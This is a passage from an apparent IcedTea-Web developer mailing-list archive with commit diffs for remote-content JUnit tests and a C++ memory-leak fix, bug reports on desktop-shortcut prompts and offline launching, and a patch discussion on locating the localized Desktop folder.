LessVerboseTextListener.getAnnotation(testClass, testMethod.getName(), Remote.class); + if (k2f != null) { + testcaseAtts.put(K2F, Boolean.TRUE.toString()); + } + if (remote != null) { + testcaseAtts.put(REMOTE, Boolean.TRUE.toString()); + } openElement(TEST_ELEMENT, testcaseAtts); if (testFailed != null) { diff -r 892cc7f39358 -r 18ee1b8417d8 tests/junit-runner/LessVerboseTextListener.java --- a/tests/junit-runner/LessVerboseTextListener.java Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/junit-runner/LessVerboseTextListener.java Thu Dec 20 17:10:38 2012 +0100 @@ -6,8 +6,10 @@ * http://www.eclipse.org/legal/cpl-v10.html */ import java.io.PrintStream; +import java.lang.annotation.Annotation; import java.lang.reflect.Method; import net.sourceforge.jnlp.annotations.KnownToFail; +import net.sourceforge.jnlp.annotations.Remote; import org.junit.internal.JUnitSystem; import org.junit.runner.Description; @@ -37,6 +39,7 @@ public void testIgnored(Description description) throws Exception { writer.println("Ignored: " + description.getClassName() + "." + description.getMethodName()); printK2F(writer, null, description); + printRemote(writer, description); } @@ -45,6 +48,7 @@ testFailed = true; writer.println("FAILED: " + failure.getTestHeader() + " " + failure.getMessage()); printK2F(writer,true,failure.getDescription()); + printRemote(writer, failure.getDescription()); } @Override @@ -52,6 +56,7 @@ if (!testFailed) { writer.println("Passed: " + description.getClassName() + "." + description.getMethodName()); printK2F(writer,false,description); + printRemote(writer, description); } } @@ -93,18 +98,22 @@ } } - public static KnownToFail getK2F(Description description) { + + public static T getAnnotation(Class q, String methodName, Class a) { try { - Class q = description.getTestClass(); if (q != null) { - String qs = description.getMethodName(); + T rem = (T) q.getAnnotation(a); + if (rem != null) { + return rem; + } + String qs = methodName; if (qs.contains(" - ")) { qs = qs.replaceAll(" - .*", ""); } Method qm = q.getMethod(qs); if (qm != null) { - KnownToFail k2f = qm.getAnnotation(KnownToFail.class); - return k2f; + rem = qm.getAnnotation(a); + return rem; } } @@ -114,4 +123,23 @@ return null; } + public static KnownToFail getK2F(Description description) { + return (KnownToFail) getAnnotation(description.getTestClass(), description.getMethodName(), KnownToFail.class); + } + + public static Remote getRemote(Description description) { + return (Remote) getAnnotation(description.getTestClass(), description.getMethodName(), Remote.class); + + } + + private void printRemote(PrintStream writer, Description description) { + try { + Remote rem = getRemote(description); + if (rem != null) { + writer.println(" - This test is running remote content, note that failures may be caused by broken taget application or connection"); + } + } catch (Exception ex) { + ex.printStackTrace(); + } + } } diff -r 892cc7f39358 -r 18ee1b8417d8 tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Thu Dec 20 17:10:38 2012 +0100 @@ -50,6 +50,7 @@ import net.sourceforge.jnlp.ServerAccess; import net.sourceforge.jnlp.runtime.JNLPClassLoader.CodeBaseClassLoader; import net.sourceforge.jnlp.annotations.Bug; +import net.sourceforge.jnlp.annotations.Remote; import org.junit.AfterClass; import org.junit.Assert; @@ -122,6 +123,7 @@ "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017626.html", "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017667.html"}) @Test + @Remote public void testClassResourceLoadSuccessCachingApplication() throws Exception { setWSA(); //we are testing new resource not in cache @@ -129,6 +131,7 @@ } @Test + @Remote public void testClassResourceLoadSuccessCachingApplet() throws Exception { setApplet(); //so new resource again not in cache @@ -136,6 +139,7 @@ } @Test + @Remote public void testResourceLoadSuccessCachingApplication() throws Exception { setWSA(); //we are testing new resource not in cache @@ -143,6 +147,7 @@ } @Test + @Remote public void testResourceLoadSuccessCachingApplet() throws Exception { setApplet(); //so new resource again not in cache @@ -196,6 +201,7 @@ "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017626.html", "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017667.html"}) @Test + @Remote public void testResourceLoadFailureCachingApplication() throws Exception { setWSA(); testResourceCaching("net/sourceforge/jnlp/about/Main_FOO_.class", false); @@ -208,12 +214,14 @@ } @Test + @Remote public void testParentClassLoaderIsAskedForClassesApplication() throws Exception { setWSA(); testParentClassLoaderIsAskedForClasses(); } @Test + @Remote public void testParentClassLoaderIsAskedForClassesApplet() throws Exception { setApplet(); testParentClassLoaderIsAskedForClasses(); @@ -248,6 +256,7 @@ } @Test + @Remote public void testNullFileSecurityDescApplet() throws Exception { setApplet(); testNullFileSecurityDesc(); diff -r 892cc7f39358 -r 18ee1b8417d8 tests/report-styles/jreport.xsl --- a/tests/report-styles/jreport.xsl Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/report-styles/jreport.xsl Thu Dec 20 17:10:38 2012 +0100 @@ -268,6 +268,11 @@ + + + + - This test is running remote content, note that failures may be caused by broken taget application or connection + @@ -279,6 +284,11 @@ - This test is known to fail + + + - This test is running remote content, note that failures may be caused by broken taget application or connection + +

diff -r 892cc7f39358 -r 18ee1b8417d8 tests/reproducers/custom/remote/srcs/Makefile --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/custom/remote/srcs/Makefile Thu Dec 20 17:10:38 2012 +0100 @@ -0,0 +1,5 @@ +prepare-reproducer: + echo "Nothing to do to prepare remote reproducers now" + +clean-reproducer: + echo "Nothing to do to clean remote reproducers now" diff -r 892cc7f39358 -r 18ee1b8417d8 tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java Thu Dec 20 17:10:38 2012 +0100 @@ -0,0 +1,231 @@ +/* RemoteApplicationTests.java + Copyright (C) 2011 Red Hat, Inc. + + This file is part of IcedTea. + + IcedTea is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as published by + the Free Software Foundation, version 2. + + IcedTea is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License + along with IcedTea; see the file COPYING. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + + Linking this library statically or dynamically with other modules is + making a combined work based on this library. Thus, the terms and + conditions of the GNU General Public License cover the whole + combination. + + As a special exception, the copyright holders of this library give you + permission to link this library with independent modules to produce an + executable, regardless of the license terms of these independent + modules, and to copy and distribute the resulting executable under + terms of your choice, provided that you also meet, for each linked + independent module, the terms and conditions of the license of that + module. An independent module is a module which is not derived from + or based on this library. If you modify this library, you may extend + this exception to your version of the library, but you are not + obligated to do so. If you do not wish to do so, delete this + exception statement from your version. + */ + +import java.net.MalformedURLException; +import java.net.URL; +import net.sourceforge.jnlp.ProcessResult; +import org.junit.Assert; +import org.junit.Test; + +; + +public class RemoteApplicationSettings { + + public static final String mustEmpty = "must be empty, was not"; + public static final String stdout = "Stdout"; + public static final String stderr = "Stderr"; + public static final String stdoutEmpty = stdout + " " + mustEmpty; + public static final String stderrEmpty = stderr + " " + mustEmpty; + + public static URL createCatchedUrl(String r) { + try { + return new URL(r); + } catch (MalformedURLException mex) { + throw new RuntimeException(mex); + } + } + + public interface RemoteApplicationTestcaseSettings { + + public URL getUrl(); + + public void evaluate(ProcessResult pr); + } + + public static abstract class StringBasedURL implements RemoteApplicationTestcaseSettings { + + URL u; + + @Override + public URL getUrl() { + return u; + } + + public StringBasedURL(String r) { + this.u = createCatchedUrl(r); + } + } + + public static class FourierTransform extends StringBasedURL { + + public FourierTransform() { + super("http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.length() == 0 || pr.stderr.contains(IllegalStateException.class.getName())); + + } + } + + public static class OrawebCernCh extends StringBasedURL { + + public OrawebCernCh() { + super("https://oraweb.cern.ch/pls/atlasintegration/docs/EMDH_atlas.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.length() == 0 || pr.stderr.contains("Cannot grant permissions to unsigned jars. Application requested security permissions, but jars are not signed")); + + } + } + + public static class GnattProject extends StringBasedURL { + + public GnattProject() { + super("http://ganttproject.googlecode.com/svn/webstart/ganttproject-2.0.10/ganttproject-2.0.10.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdout, pr.stdout.length() == 0); + Assert.assertTrue(pr.stderr.contains("Splash closed")); + Assert.assertFalse(pr.stderr.contains("Exception")); + + } + } + + public static class GeoGebra extends StringBasedURL { + + public GeoGebra() { + super("http://www.geogebra.org/webstart/geogebra.jnlp"); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(pr.stdout.length() > 0); + Assert.assertTrue(pr.stderr.length() > 0); + Assert.assertFalse(pr.stderr.contains("Exception")); + Assert.assertFalse(pr.stdout.contains("Exception")); + + } + } + + public abstract static class NoOutputs extends StringBasedURL { + + public NoOutputs(String r) { + super(r); + } + + @Override + public void evaluate(ProcessResult pr) { + Assert.assertTrue(stdoutEmpty, pr.stdout.length() == 0); + Assert.assertTrue(stderrEmpty, pr.stderr.length() == 0); + + } + } + + public static class Arbores extends NoOutputs { + + public Arbores() { + super("http://www.arbores.ca/AnnuityCalc.jnlp"); + } + } + + public static class PhetSims extends NoOutputs { + + public PhetSims() { + super("http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp"); + } + } + + public static class TopCoder extends NoOutputs { + + public TopCoder() { + super("http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp"); + } + } + + public static class SunSwingDemo extends NoOutputs { + + public SunSwingDemo() throws MalformedURLException { + super("http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp"); + } + } + + public static class ArboresDeposit extends NoOutputs { + + public ArboresDeposit() throws MalformedURLException { + super("http://www.arbores.ca/Deposit.jnlp"); + } + } + + public static class AviationWeather extends NoOutputs { + + public AviationWeather() { + super("http://aviationweather.gov/static/adds/java/fpt/fpt.jnlp"); + } + } + + public static class FuseSwing extends NoOutputs { + + public FuseSwing() { + super("http://www.progx.org/users/Gfx/apps/fuse-swing-demo.jnlp"); + } + } + + @Test + public void remoteApplicationSettingsAreWorking() throws Exception { + RemoteApplicationTestcaseSettings s5 = new FourierTransform(); + Assert.assertNotNull(s5.getUrl()); + RemoteApplicationTestcaseSettings s4 = new Arbores(); + Assert.assertNotNull(s4.getUrl()); + RemoteApplicationTestcaseSettings s3 = new PhetSims(); + Assert.assertNotNull(s3.getUrl()); + RemoteApplicationTestcaseSettings s2 = new TopCoder(); + Assert.assertNotNull(s2.getUrl()); + RemoteApplicationTestcaseSettings s1 = new SunSwingDemo(); + Assert.assertNotNull(s1.getUrl()); + RemoteApplicationTestcaseSettings s6 = new ArboresDeposit(); + Assert.assertNotNull(s6.getUrl()); + RemoteApplicationTestcaseSettings s7 = new OrawebCernCh(); From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 08:15:20 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:15:20 +0000 Subject: [Bug 725] JNLP applications will prompt for creating desktop shortcuts every time they are run In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 Toni Spets changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |toni.spets at iki.fi Severity|normal |major --- Comment #3 from Toni Spets --- Still exists today in current hg. This ends up in very bad user experience when launching Web Start applications. The "Always allow" check box is grayed out so you can't even make an exception for a single program. As long as the icon is on the desktop (.desktop file exists), it should not prompt. Added bonus points for caching the answer anyway so if someone just does not want the icon it will remember it until the cache is cleared. I can't from the top of my head confirm how Oracle handles this in their implementation. It's been over one and a half year since this UX bug was reported, seriously, get this done. The reporter even made a patch! I'm bumping this to 'major' because the very least someone notices this bug exists and tells me I shouldn't touch priority. User experience is everything. IcedTea looks really bad if it fails even in the most simple things that are visible to the user. This is coming from a Web Start developer who would really much like that people who use OpenJDK with IcedTea as it is the default install for most Linux distributions get a good out-of-box experience. Please, fix this. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/c5cbedf8/attachment.html From bugzilla-daemon at icedtea.classpath.org Thu Dec 20 08:26:12 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:26:12 +0000 Subject: [Bug 1245] New: Offline launching from a shortcut results in fatal error Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1245 Bug ID: 1245 Summary: Offline launching from a shortcut results in fatal error Classification: Unclassified Product: IcedTea-Web Version: hg Hardware: x86_64 OS: Linux Status: NEW Severity: major Priority: P3 Component: NetX (javaws) Assignee: omajid at redhat.com Reporter: toni.spets at iki.fi CC: unassigned at icedtea.classpath.org After a Web Start application has been successfully launched for the first time and a desktop shortcut is created, launching without Internet connection results in 'Fatal: Read Error: Could not read or parse the JNLP file.". The error itself is more generic and there already exists a bug for another thing that triggers it. However, this comes from a system that is not connected to the internet at launch time. The local JNLP file is fine, all JAR files are cached properly but IcedTea insists on downloading the JNLP file over the network and when it fails it fails bad. Related bug is http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 which talks about the JAR files that are already cached but are still redownloaded after the JNLP file. The bugs can be merged if the underlying cause is the same. It would be nice if IcedTea could sense through DBus or something if there is supposed to be an active connection and fail fast when there are not to improve offline experience by having fast startup times. That would be completely optional of course if NetworkManager is active which is the case for most desktop Linux distributions today. This is a complete blocker for usability and makes IcedTea completely unusable offline which kills an important part of Web Start that makes it so useful as an update channel for offline software. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121220/2ba2df38/attachment.html From adomurad at icedtea.classpath.org Thu Dec 20 08:31:10 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:31:10 +0000 Subject: /hg/icedtea-web: 2 new changesets Message-ID: changeset 6251ec285570 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=6251ec285570 author: Adam Domurad date: Thu Dec 20 11:28:28 2012 -0500 C++ unit testing: Add a tracked-allocation implementation of operator-new Two tests that catch memory leaks are also added. For the purposes of verifying the patch works, the fix is in a separate changeset. changeset 2b2073cc9a19 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=2b2073cc9a19 author: Adam Domurad date: Thu Dec 20 11:11:05 2012 -0500 Fix 2 memory leaks, pass corresponding C++ unit tests diffstat: ChangeLog | 27 ++++- plugin/icedteanp/IcedTeaScriptablePluginObject.cc | 4 +- tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc | 66 ++++++++++++ tests/cpp-unit-tests/browser_mock.cc | 22 +++- tests/cpp-unit-tests/checked_allocations.cc | 77 +++++++++++++++ tests/cpp-unit-tests/checked_allocations.h | 54 ++++++++++ tests/cpp-unit-tests/main.cc | 24 ++++- 7 files changed, 264 insertions(+), 10 deletions(-) diffs (392 lines): diff -r 18ee1b8417d8 -r 2b2073cc9a19 ChangeLog --- a/ChangeLog Thu Dec 20 17:10:38 2012 +0100 +++ b/ChangeLog Thu Dec 20 11:11:05 2012 -0500 @@ -1,4 +1,25 @@ -2012-12-18 Jiri Vanek +2012-12-20 Adam Domurad + + * plugin/icedteanp/IcedTeaScriptablePluginObject.cc + (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak + (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak + +2012-12-20 Adam Domurad + + * tests/cpp-unit-tests/browser_mock.cc + (mock_retainobject): New, mocks behaviour of NPAPI retainobject + (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject + * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on + operator-new. + * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests + for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and + (IcedTeaScriptableJavaPackageObject::deAllocate) + * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not + use operator-new, to prevent recursion in overloaded operator-new + * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload + that has allocation-set for querying live allocations. + +2012-12-20 Jiri Vanek Added and applied Remote annotation, added Remote tests: * tests/report-styles/jreport.xsl: and @@ -13,9 +34,7 @@ launcher for remote tests. * tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java: Implementation of Remote annotation - - - + 2012-12-18 Jiri Vanek

@@ -286,7 +286,7 @@ - - This test is running remote content, note that failures may be caused by broken taget application or connection + - This test is running remote content, note that failures may be caused by broken target application or connection

From jvanek at icedtea.classpath.org Mon Dec 24 04:56:41 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Mon, 24 Dec 2012 12:56:41 +0000 Subject: /hg/icedtea-web: Fixed xtrust all behaviour for desktop icons. N... Message-ID: changeset a16da8b96a0f in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=a16da8b96a0f author: Jiri Vanek date: Mon Dec 24 13:58:31 2012 +0100 Fixed xtrust all behaviour for desktop icons. Now returning true only if desktop icon should be created. False otherwise. diffstat: netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diffs (12 lines): diff -r 9793efa80617 -r a16da8b96a0f netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon Dec 24 13:35:54 2012 +0100 +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon Dec 24 13:58:31 2012 +0100 @@ -172,7 +172,7 @@ */ private boolean shouldCreateShortcut(ShortcutDesc sd) { if (JNLPRuntime.isTrustAll()) { - return true; + return (sd != null && sd.onDesktop()); } String currentSetting = JNLPRuntime.getConfiguration() .getProperty(DeploymentConfiguration.KEY_CREATE_DESKTOP_SHORTCUT); From jvanek at redhat.com Mon Dec 24 06:06:21 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 24 Dec 2012 15:06:21 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D4B0AD.2030309@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50D4B0AD.2030309@redhat.com> Message-ID: <50D8615D.5080708@redhat.com> On 12/21/2012 07:55 PM, Jiri Vanek wrote: > On 12/21/2012 06:04 PM, Xerxes R?nby wrote: >> 2012-12-21 17:05, Jiri Vanek skrev: >>> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run >>> >>> When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. >>> It is pretty simple. The disadvantage however is: >>> + public File getFinalLinuxDesktopIconFile() { >>> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>> + } >>> >>> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >>> >>> However .. can it be enough? >>> >>> The second patch is for testing purposes of this case which I would like to push forward as soon as possible. >>> >>> J. >> >> This will be broken on non-english systems. >> >> The name of the Desktop folder gets localized on many distributions. >> For example the Desktop folder is called Skrivbord on Swedish user systems. >> The configuration of the user desktop folder location is set in the >> ~/.config/user-dirs.dirs >> >> On my system this file contains: >> xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs >> # This file is written by xdg-user-dirs-update >> # If you want to change or add directories, just edit the line you're >> # interested in. All local changes will be retained on the next run >> # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped >> # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an >> # absolute path. No other format is supported. >> # >> XDG_DESKTOP_DIR="$HOME/Skrivbord" >> XDG_DOWNLOAD_DIR="$HOME/H?mtningar" >> XDG_TEMPLATES_DIR="$HOME/Mallar" >> XDG_PUBLICSHARE_DIR="$HOME/Publikt" >> XDG_DOCUMENTS_DIR="$HOME/Dokument" >> XDG_MUSIC_DIR="$HOME/Musik" >> XDG_PICTURES_DIR="$HOME/Bilder" >> XDG_VIDEOS_DIR="$HOME/Video" >> > > I see.. This is very valid point and I have hoped to hear something like this. > Do you think it is correct to get this information from ~/.config/user-dirs.dirs ? > It sound good enough to me to parse it... As it is standartized in freedesktop.org. > > Thanx for reply, > > J. So here is improved version which is parsing fro ~/.config/user-dirs.dirs. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedRecreationOfDesktopIcon-0002.patch Type: text/x-patch Size: 7908 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121224/fec43f45/fixedRecreationOfDesktopIcon-0002.patch From jvanek at redhat.com Mon Dec 24 12:51:40 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 24 Dec 2012 21:51:40 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D8615D.5080708@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50D4B0AD.2030309@redhat.com> <50D8615D.5080708@redhat.com> Message-ID: <50D8C05C.80501@redhat.com> On 12/24/2012 03:06 PM, Jiri Vanek wrote: > On 12/21/2012 07:55 PM, Jiri Vanek wrote: >> On 12/21/2012 06:04 PM, Xerxes R?nby wrote: >>> 2012-12-21 17:05, Jiri Vanek skrev: >>>> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run >>>> >>>> When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. >>>> It is pretty simple. The disadvantage however is: >>>> + public File getFinalLinuxDesktopIconFile() { >>>> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>>> + } >>>> >>>> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >>>> >>>> However .. can it be enough? >>>> >>>> The second patch is for testing purposes of this case which I would like to push forward as soon as possible. >>>> >>>> J. >>> >>> This will be broken on non-english systems. >>> >>> The name of the Desktop folder gets localized on many distributions. >>> For example the Desktop folder is called Skrivbord on Swedish user systems. >>> The configuration of the user desktop folder location is set in the >>> ~/.config/user-dirs.dirs >>> >>> On my system this file contains: >>> xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs >>> # This file is written by xdg-user-dirs-update >>> # If you want to change or add directories, just edit the line you're >>> # interested in. All local changes will be retained on the next run >>> # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped >>> # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an >>> # absolute path. No other format is supported. >>> # >>> XDG_DESKTOP_DIR="$HOME/Skrivbord" >>> XDG_DOWNLOAD_DIR="$HOME/H?mtningar" >>> XDG_TEMPLATES_DIR="$HOME/Mallar" >>> XDG_PUBLICSHARE_DIR="$HOME/Publikt" >>> XDG_DOCUMENTS_DIR="$HOME/Dokument" >>> XDG_MUSIC_DIR="$HOME/Musik" >>> XDG_PICTURES_DIR="$HOME/Bilder" >>> XDG_VIDEOS_DIR="$HOME/Video" >>> >> >> I see.. This is very valid point and I have hoped to hear something like this. >> Do you think it is correct to get this information from ~/.config/user-dirs.dirs ? >> It sound good enough to me to parse it... As it is standartized in freedesktop.org. >> >> Thanx for reply, >> >> J. > > So here is improved version which is parsing fro ~/.config/user-dirs.dirs. > > J. This is little bit better and is taking care for all possible variables. Instead all this parsing and substitutions simple exec of echo $(xdg-user-dir DESKTOP) is possible. And it maybe more bullet proof. However I would like avoid Sytem.exec wheres possible. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedRecreationOfDesktopIcon-0003.patch Type: text/x-patch Size: 9105 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121224/c98392f9/fixedRecreationOfDesktopIcon-0003.patch From omajid at redhat.com Thu Dec 27 08:04:25 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 11:04:25 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <20120522204944.GW29866@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> Message-ID: <50DC7189.2010006@redhat.com> On 05/22/2012 04:49 PM, Deepak Bhole wrote: > Given the scope, I think at least one more person should sign off on > this one however. I will be happy to review the patch for this. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Thu Dec 27 09:59:11 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 12:59:11 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D49692.7050007@zafena.se> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> Message-ID: <50DC8C6F.70203@redhat.com> On 12/21/2012 12:04 PM, Xerxes R?nby wrote: > 2012-12-21 17:05, Jiri Vanek skrev: >> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >> > > This will be broken on non-english systems. +1 It may break on non-english systems too: $ cat .config/user-dirs.dirs | grep DESKTOP_DIR XDG_DESKTOP_DIR="$HOME/desktop" Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Thu Dec 27 10:04:00 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 13:04:00 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D49071.80107@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> Message-ID: <50DC8D90.8000207@redhat.com> On 12/21/2012 11:38 AM, Adam Domurad wrote: > On 12/21/2012 11:05 AM, Jiri Vanek wrote: >> Hi! This is fix for >> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >> applications will prompt for creating desktop shortcuts every time >> they are run >> >> When I have seen Omairs original patch it was too much complicated, So >> I want at least to try this one. > > Do you know why Omair used explicit locking? I couldn't quite figure it out > My first patch kept a record of all desktop entries that icedtea-web created in a file. This meant that if a user deleted the desktop icon, icedtea-web wouldn't prompt for the creation of that icon again. It was important to lock that record file to prevent multiple icedtea-web processes from editing it simultaneously. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Thu Dec 27 15:52:16 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 18:52:16 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50DC8C6F.70203@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50DC8C6F.70203@redhat.com> Message-ID: <50DCDF30.30101@redhat.com> On 12/27/2012 12:59 PM, Omair Majid wrote: > > It may break on non-english systems too: Typo. I meant "...break on english systems...". Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From bugzilla-daemon at icedtea.classpath.org Fri Dec 28 07:12:38 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Fri, 28 Dec 2012 15:12:38 +0000 Subject: [Bug 906] icedtea always redownloads web start application In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 Adam Domurad changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |adomurad at redhat.com --- Comment #2 from Adam Domurad --- Icedtea-web relies on the http header field "last-modified" (a list of http header fields can be found here http://en.wikipedia.org/wiki/List_of_HTTP_header_fields). This field is missing for this jar, I'm not sure what Oracle does in this scenario. FWIW, -noupdate works just fine for me. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121228/4ad6f38c/attachment.html From adomurad at redhat.com Fri Dec 28 09:15:36 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 28 Dec 2012 12:15:36 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D8C05C.80501@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50D4B0AD.2030309@redhat.com> <50D8615D.5080708@redhat.com> <50D8C05C.80501@redhat.com> Message-ID: <50DDD3B8.2080606@redhat.com> On 12/24/2012 03:51 PM, Jiri Vanek wrote: > On 12/24/2012 03:06 PM, Jiri Vanek wrote: >> On 12/21/2012 07:55 PM, Jiri Vanek wrote: >>> On 12/21/2012 06:04 PM, Xerxes R?nby wrote: >>>> 2012-12-21 17:05, Jiri Vanek skrev: >>>>> Hi! This is fix for >>>>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>>>> applications will 